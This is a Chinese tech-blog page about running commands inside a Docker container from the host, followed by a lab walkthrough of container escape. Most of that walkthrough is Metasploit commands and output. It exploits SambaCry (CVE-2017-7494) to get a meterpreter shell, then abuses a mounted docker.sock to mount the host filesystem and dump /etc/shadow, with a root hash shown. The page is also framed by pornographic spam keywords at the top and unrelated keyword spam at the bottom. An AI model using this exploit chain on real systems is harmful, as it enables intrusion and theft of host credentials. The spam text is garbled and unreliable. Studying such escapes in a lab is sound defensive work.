最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

在宿主機上執(zhí)行docker容器內(nèi)部的shell或程序方式

 更新時間:2020年11月18日 11:25:00   作者:牛牛妞妞NN  
這篇文章主要介紹了在宿主機上執(zhí)行docker容器內(nèi)部的shell或程序方式,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧

為了避免反復(fù)進入docker容器內(nèi)部操作,可以將一系列容器內(nèi)部的指令由宿主機來操作完成。

在宿主機(作者主機為windows7)上執(zhí)行centos容器(name為centos-1)中/usr目錄下的“printer”可執(zhí)行程序,該程序輸出為打印“123”。

C:\Users\Administrator>docker exec -it centos-1 /bin/bash -c "cd usr && ./printer" 123

成功。

補充知識:利用Docker容器的不安全部署獲取宿主機權(quán)限

前言

濫用容器( container)及逃逸的方法有多種,本文將討論最基本的一種,即濫用docker socket來逃逸容器并在宿主機上以root身份執(zhí)行代碼。

實驗環(huán)境設(shè)置

由于我們將使用容器,因此你必須安裝docker。

創(chuàng)建網(wǎng)絡(luò)

首先,我們在創(chuàng)建容器的地方創(chuàng)建一個docker網(wǎng)絡(luò):

docker network create pwnage

啟動易受攻擊的容器

在本示例中,我將使用受SambaCry漏洞(CVE-2017-7494)影響的容器。有關(guān)該漏洞的更多信息,可以參閱opsxcq/exploit-CVE-2017-7494。

此漏洞允許你在Samba服務(wù)器中遠(yuǎn)程代碼執(zhí)行,我們將docker socket添加到容器中,以下是一個濫用docker的示例。

docker run --rm -it \
    --name vulnerable \
    --network pwnage \
    -v '/var/run/docker.sock:/var/run/docker.sock' \
    vulnerables/cve-2017-7494

啟動攻擊機

實驗環(huán)境設(shè)置完成后,接下來我們需要將攻擊者的主機添加到網(wǎng)絡(luò)中。Samba Cry存儲庫中有一個漏洞利用代碼,但這里我將使用Metasploit,因為它更容易上傳我所需的內(nèi)容。

我已經(jīng)為此構(gòu)建了一個映像,只需運行bellow命令,所有內(nèi)容都將根據(jù)實驗環(huán)境需要運行:

docker run --rm -it \
    --network pwnage \
    -v '/usr/bin/docker:/docker:ro' \
    strm/metasploit

加載完成后,你將看到如下界面。

攻擊利用

信息收集

在任何攻擊或測試中,信息收集都是必不可少的一個環(huán)節(jié)。因此,讓我們先來ping下易受攻擊的容器檢查下當(dāng)前的連接情況。

ping -c 2 vulnerable

如果一切正常,你應(yīng)該能看到以下輸出信息。

msf5 > ping -c 2 vulnerable 
[*] exec: ping -c 2 vulnerable 
 
PING vulnerable (172.20.0.2) 56(84) bytes of data.
64 bytes from vulnerable.pwnage (172.20.0.2): icmp_seq=1 ttl=64 time=0.120 ms
64 bytes from vulnerable.pwnage (172.20.0.2): icmp_seq=2 ttl=64 time=0.097 ms
 
--- vulnerable ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1009ms
rtt min/avg/max/mdev = 0.097/0.108/0.120/0.015 ms

然后,我們進行基本的smb共享枚舉:

use auxiliary/scanner/smb/smb_enumshares
set rhosts vulnerable
run

輸出結(jié)果如下:

msf5 > use auxiliary/scanner/smb/smb_enumshares
msf5 auxiliary(scanner/smb/smb_enumshares) > set rhosts vulnerable
rhosts => vulnerable
msf5 auxiliary(scanner/smb/smb_enumshares) > run
 
[+] 172.20.0.2:139    - data - (DS) Data
[+] 172.20.0.2:139    - IPC$ - (I) IPC Service (Crying samba)
[*] vulnerable:      - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

可以看到,這個samba服務(wù)器中有一個名為data的共享。

獲取shell

下一步我們要做的是,針對宿主機運行漏洞利用程序獲取shell。在Metasploit中,該漏洞名為is_known_pipename,位于exploit/linux/samba/is_known_pipename。

運行bellow命令攻擊宿主機:

use exploit/linux/samba/is_known_pipename
set RHOST vulnerable
set RPORT 445
set payload linux/x64/meterpreter/bind_tcp
set TARGET 3
set SMB_FOLDER data
set SMBUser sambacry
set SMBPass nosambanocry
exploit

如果一切順利,你將獲取到一個meterpreter shell。如下:

msf5 > use exploit/linux/samba/is_known_pipename
msf5 exploit(linux/samba/is_known_pipename) > set RHOST vulnerable
RHOST => vulnerable
msf5 exploit(linux/samba/is_known_pipename) > set RPORT 445
RPORT => 445
msf5 exploit(linux/samba/is_known_pipename) > set payload linux/x64/meterpreter/bind_tcp
payload => linux/x64/meterpreter/bind_tcp
msf5 exploit(linux/samba/is_known_pipename) > set TARGET 3
TARGET => 3
msf5 exploit(linux/samba/is_known_pipename) > set SMB_FOLDER data
SMB_FOLDER => data
msf5 exploit(linux/samba/is_known_pipename) > set SMBUser sambacry
SMBUser => sambacry
msf5 exploit(linux/samba/is_known_pipename) > set SMBPass nosambanocry
SMBPass => nosambanocry
msf5 exploit(linux/samba/is_known_pipename) > exploit
 
[*] vulnerable:445 - Using location \\vulnerable\data\ for the path
[*] vulnerable:445 - Retrieving the remote path of the share 'data'
[*] vulnerable:445 - Share 'data' has server-side path '/data
[*] vulnerable:445 - Uploaded payload to \\vulnerable\data\shyyEPPk.so
[*] vulnerable:445 - Loading the payload from server-side path /data/shyyEPPk.so using \\PIPE\/data/shyyEPPk.so...
[-] vulnerable:445 -  >> Failed to load STATUS_OBJECT_NAME_NOT_FOUND
[*] vulnerable:445 - Loading the payload from server-side path /data/shyyEPPk.so using /data/shyyEPPk.so...
[-] vulnerable:445 -  >> Failed to load STATUS_OBJECT_NAME_NOT_FOUND
[*] Started bind TCP handler against vulnerable:4444
[*] Sending stage (816260 bytes) to vulnerable
 
meterpreter >

提權(quán)

我們將通過濫用容器內(nèi)可用的docker socket來提權(quán)。由于docker在宿主機上是以root身份運行的,因此它也具有root權(quán)限。我們可以濫用它來執(zhí)行多項操作。例如,使用—privileged選項可以為我們提供許多擴展功能,以下是從docker官方文檔中提取的解釋文本:

默認(rèn)情況下,Docker的容器是沒有特權(quán)的,例如不能在容器中再啟動一個容器。這是因為默認(rèn)情況下容器是不能訪問任何其它設(shè)備的。但是通過”privileged”,容器就擁有了訪問任何其它設(shè)備的權(quán)限。當(dāng)操作者執(zhí)行docker run —privileged時,Docker將擁有訪問主機所有設(shè)備的權(quán)限,同時Docker也會在apparmor或者selinux做一些設(shè)置,使容器可以容易的訪問那些運行在容器外部的設(shè)備。

你可以使用—device選項訪問設(shè)備。但在本示例中,我將映射toor文件系統(tǒng) (/) 到容器中并訪問它。

由于此容器中沒有docker客戶端,因此下一步我們要做的就是在目標(biāo)容器中設(shè)置docker客戶端及其依賴項。你只需運行以下命令,即可完成所有這些操作。

upload /docker /docker
upload /usr/lib/x86_64-linux-gnu/libltdl.so.7 /usr/lib/x86_64-linux-gnu/libltdl.so.7
chmod 777 /docker
chmod +x /docker
meterpreter > upload /docker /docker
[*] uploading : /docker -> /docker
[*] Uploaded -1.00 B of 36.36 MiB (0.0%): /docker -> /docker
[*] Uploaded -1.00 B of 36.36 MiB (0.0%): /docker -> /docker
[*] Uploaded -1.00 B of 36.36 MiB (0.0%): /docker -> /docker
[*] Uploaded -1.00 B of 36.36 MiB (0.0%): /docker -> /docker
[*] Uploaded -1.00 B of 36.36 MiB (0.0%): /docker -> /docker
[*] uploaded  : /docker -> /docker
meterpreter > upload /usr/lib/x86_64-linux-gnu/libltdl.so.7 /usr/lib/x86_64-linux-gnu/libltdl.so.7
[*] uploading : /usr/lib/x86_64-linux-gnu/libltdl.so.7 -> /usr/lib/x86_64-linux-gnu/libltdl.so.7
[*] Uploaded -1.00 B of 38.47 KiB (-0.0%): /usr/lib/x86_64-linux-gnu/libltdl.so.7 -> /usr/lib/x86_64-linux-gnu/libltdl.so.7
[*] uploaded  : /usr/lib/x86_64-linux-gnu/libltdl.so.7 -> /usr/lib/x86_64-linux-gnu/libltdl.so.7
meterpreter > chmod 777 /docker
meterpreter > chmod +x /docker
meterpreter >

現(xiàn)在,我們就可以使用docker來訪問宿主機上的文件系統(tǒng)了。\

execute -f /docker -i -H -c -a "run --rm -v '/:/rootfs' debian:9.2 cat /rootfs/etc/shadow"

我們來轉(zhuǎn)儲下本地用戶的哈希,輸出結(jié)果如下:

meterpreter > execute -f /docker -i -H -c -a "run --rm -v '/:/rootfs' debian:9.2 cat /rootfs/etc/shadow"
Process 113 created.
Channel 13 created.
root:$1$UFKdtFGw$qp29y1qGWit/vnvIG0uSr1:17488:0:99999:7:::
daemon:*:17488:0:99999:7:::
bin:*:17488:0:99999:7:::
sys:*:17488:0:99999:7:::
sync:*:17488:0:99999:7:::
games:*:17488:0:99999:7:::
man:*:17488:0:99999:7:::
lp:*:17488:0:99999:7:::
mail:*:17488:0:99999:7:::
news:*:17488:0:99999:7:::

以上這篇在宿主機上執(zhí)行docker容器內(nèi)部的shell或程序方式就是小編分享給大家的全部內(nèi)容了,希望能給大家一個參考,也希望大家多多支持腳本之家。

相關(guān)文章

  • docker compose部署cassandra集群的操作代碼

    docker compose部署cassandra集群的操作代碼

    這篇文章主要介紹了docker compose部署cassandra集群的操作代碼,本文給大家介紹的非常詳細(xì),對大家的學(xué)習(xí)或工作具有一定的參考借鑒價值,需要的朋友參考下吧
    2024-03-03
  • linux中docker的安裝教程

    linux中docker的安裝教程

    這篇文章主要介紹了linux中docker的安裝教程,本文給大家介紹的非常詳細(xì),對大家的學(xué)習(xí)或工作具有一定的參考借鑒價值,需要的朋友可以參考下
    2020-10-10
  • docker-compose部署Yapi的方法

    docker-compose部署Yapi的方法

    這篇文章主要介紹了docker-compose部署Yapi,需要的朋友可以參考下
    2022-04-04
  • docker中的python代碼打印失效的解決

    docker中的python代碼打印失效的解決

    這篇文章主要介紹了docker中的python代碼打印失效的解決,具有很好的參考價值,希望對大家有所幫助,如有錯誤或未考慮完全的地方,望不吝賜教
    2024-07-07
  • Docker中容器數(shù)據(jù)卷(Data Volume)和數(shù)據(jù)管理詳解

    Docker中容器數(shù)據(jù)卷(Data Volume)和數(shù)據(jù)管理詳解

    本文主要給大家介紹了關(guān)于Docker中容器數(shù)據(jù)卷(Data Volume)和數(shù)據(jù)管理的相關(guān)資料,文中介紹的很詳細(xì),對大家具有一定的參考價值,需要的朋友們下面來一起看看吧。
    2017-02-02
  • 使用Docker運行Microsoft SQL Server 2017的方法

    使用Docker運行Microsoft SQL Server 2017的方法

    本篇文章主要介紹了使用Docker運行Microsoft SQL Server 2017的方法,小編覺得挺不錯的,現(xiàn)在分享給大家,也給大家做個參考。一起跟隨小編過來看看吧
    2017-11-11
  • 淺談關(guān)于Docker容器互聯(lián)的初步實踐

    淺談關(guān)于Docker容器互聯(lián)的初步實踐

    這篇文章主要介紹了淺談關(guān)于Docker容器互聯(lián)的初步實踐,本文介紹了使用網(wǎng)橋(bridge)來對容器進行互聯(lián),非常具有實用價值,需要的朋友可以參考下
    2018-10-10
  • 詳解ASP.NET Core 網(wǎng)站在Docker中運行

    詳解ASP.NET Core 網(wǎng)站在Docker中運行

    本篇文章主要介紹了詳解ASP.NET Core 網(wǎng)站在Docker中運行,非常具有實用價值,需要的朋友可以參考下
    2017-05-05
  • Docker拉鏡像報錯error pulling image configuration: unknown blob

    Docker拉鏡像報錯error pulling image configuration:

    這篇文章主要介紹了Docker拉鏡像報錯error pulling image configuration: unknown blob的問題及解決方案,具有很好的參考價值,希望對大家有所幫助,如有錯誤或未考慮完全的地方,望不吝賜教
    2023-09-09
  • Centos7 安裝部署Kubernetes(k8s)集群實現(xiàn)過程

    Centos7 安裝部署Kubernetes(k8s)集群實現(xiàn)過程

    這篇文章主要為大家介紹了Centos7 安裝部署Kubernetes(k8s)集群實現(xiàn)過程詳解,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進步,早日升職加薪
    2022-11-11

最新評論

大洼县| 赤水市| 白银市| 岳阳县| 池州市| 达尔| 喀喇沁旗| 东海县| 闽清县| 石河子市| 双柏县| 罗平县| 宁河县| 罗源县| 香港| 左权县| 九寨沟县| 当阳市| 化德县| 阿拉善左旗| 宝丰县| 连山| 新邵县| 长葛市| 丁青县| 西林县| 沿河| 宜春市| 锡林郭勒盟| 绥江县| 宝山区| 海晏县| 定南县| 忻州市| 绩溪县| 蓬安县| 读书| 五原县| 萨嘎县| 科技| 温州市|